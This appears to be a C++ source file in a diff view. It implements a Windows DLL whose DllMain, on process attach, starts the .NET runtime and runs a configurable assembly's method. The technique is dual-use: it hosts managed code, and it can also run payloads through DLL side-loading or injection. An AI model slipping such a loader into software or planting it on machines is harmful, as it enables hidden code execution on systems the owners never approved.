# define msg(x) MessageBoxW(nullptr, x, L"LoadCLRFromNativeDLL", 0)
|
||||||
|
#else
|
||||||
|
# define msg(x) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void DoProcessAttach()
|
||||||
|
{
|
||||||
|
ICLRMetaHost *metaHost = nullptr;
|
||||||
|
ICLRRuntimeInfo *runtimeInfo = nullptr;
|
||||||
|
ICLRRuntimeHost *runtimeHost = nullptr;
|
||||||
|
IEnumUnknown *runtime = nullptr;
|
||||||
|
IUnknown *enumRuntime = nullptr;
|
||||||
|
|
||||||
|
LPWSTR frameworkName = nullptr;
|
||||||
|
DWORD bytes = 2048;
|
||||||
|
DWORD result = 0;
|
||||||
|
|
||||||
|
if (CLRCreateInstance(
|
||||||
|
CLSID_CLRMetaHost,
|
||||||
|
IID_ICLRMetaHost,
|
||||||
|
reinterpret_cast<LPVOID*>(&metaHost)
|
||||||
|
) != S_OK) {
|
||||||
|
msg(L"FAIL: Could not create MetaHost CLR instance.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!metaHost || (metaHost->EnumerateInstalledRuntimes(
|
||||||
|
&runtime
|
||||||
|
) != S_OK)) {
|
||||||
|
msg(L"FAIL: Cannot enumerate installed runtimes.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!runtime) {
|
||||||
|
msg(L"FAIL: Could not find installed runtimes.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
frameworkName = reinterpret_cast<LPWSTR>(LocalAlloc(
|
||||||
|
LPTR,
|
||||||
|
bytes
|
||||||
|
));
|
||||||
|
if (!frameworkName) {
|
||||||
|
msg(L"FAIL: could not allocate 2048 bytes for framework name buffer.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {
|
||||||
|
if (enumRuntime && (enumRuntime->QueryInterface<ICLRRuntimeInfo>(&runtimeInfo) == S_OK)) {
|
||||||
|
if (runtimeInfo != nullptr) {
|
||||||
|
runtimeInfo->GetVersionString(frameworkName, &bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (runtimeInfo == nullptr || (runtimeInfo->GetInterface(
|
||||||
|
CLSID_CLRRuntimeHost,
|
||||||
|
IID_ICLRRuntimeHost,
|
||||||
|
reinterpret_cast<LPVOID*>(&runtimeHost)
|
||||||
|
) != S_OK)) {
|
||||||
|
msg(L"FAIL: Could not get CLRRuntimeHost interface's reference.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (runtimeHost == nullptr) {
|
||||||
|
msg(L"FAIL: Could not obtain reference to CLRRuntimeHost.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
runtimeHost->Start();
|
||||||
|
|
||||||
|
WCHAR assemblyPath[1024] = L"";
|
||||||
|
ExpandEnvironmentStringsW(CustomAssemblyParameters::AssemblyName, assemblyPath, _countof(assemblyPath));
|
||||||
|
LPCWSTR assemblyPathPtr = assemblyPath;
|
||||||
|
|
||||||
|
HRESULT hres = runtimeHost->ExecuteInDefaultAppDomain(
|
||||||
|
assemblyPathPtr,
|
||||||
|
CustomAssemblyParameters::TypeName,
|
||||||
|
CustomAssemblyParameters::MethodName,
|
||||||
|
CustomAssemblyParameters::Argument,
|
||||||
|
&result
|
||||||
|
);
|
||||||
|
if (hres != S_OK) {
|
||||||
|
wchar_t msgbuf[1024] = L"";
|
||||||
|
swprintf_s(msgbuf, L"FAIL: Could not invoke custom .NET assembly, instantiate it's type or invoke a method. HRESULT = 0x%08x . Assembly path: '%s'", hres, assemblyPath);
|
||||||
|
msg(msgbuf);
|
||||||
|
}
|
||||||
|
|
||||||
|
//runtimeHost->Stop();
|
||||||
|
//runtimeHost->Release();
|
||||||
|
runtimeInfo->Release();
|
||||||
|
metaHost->Release();
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOLEAN WINAPI DllMain(
|
||||||
|
IN HINSTANCE /*hDllHandle*/,
|
||||||
|
IN DWORD nReason,
|
||||||
|
IN LPVOID /*Reserved*/
|
||||||
|
)
|
||||||
|
{
|
||||||
|
switch (nReason)
|
||||||
|
{
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
{
|
||||||
|
DoProcessAttach();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue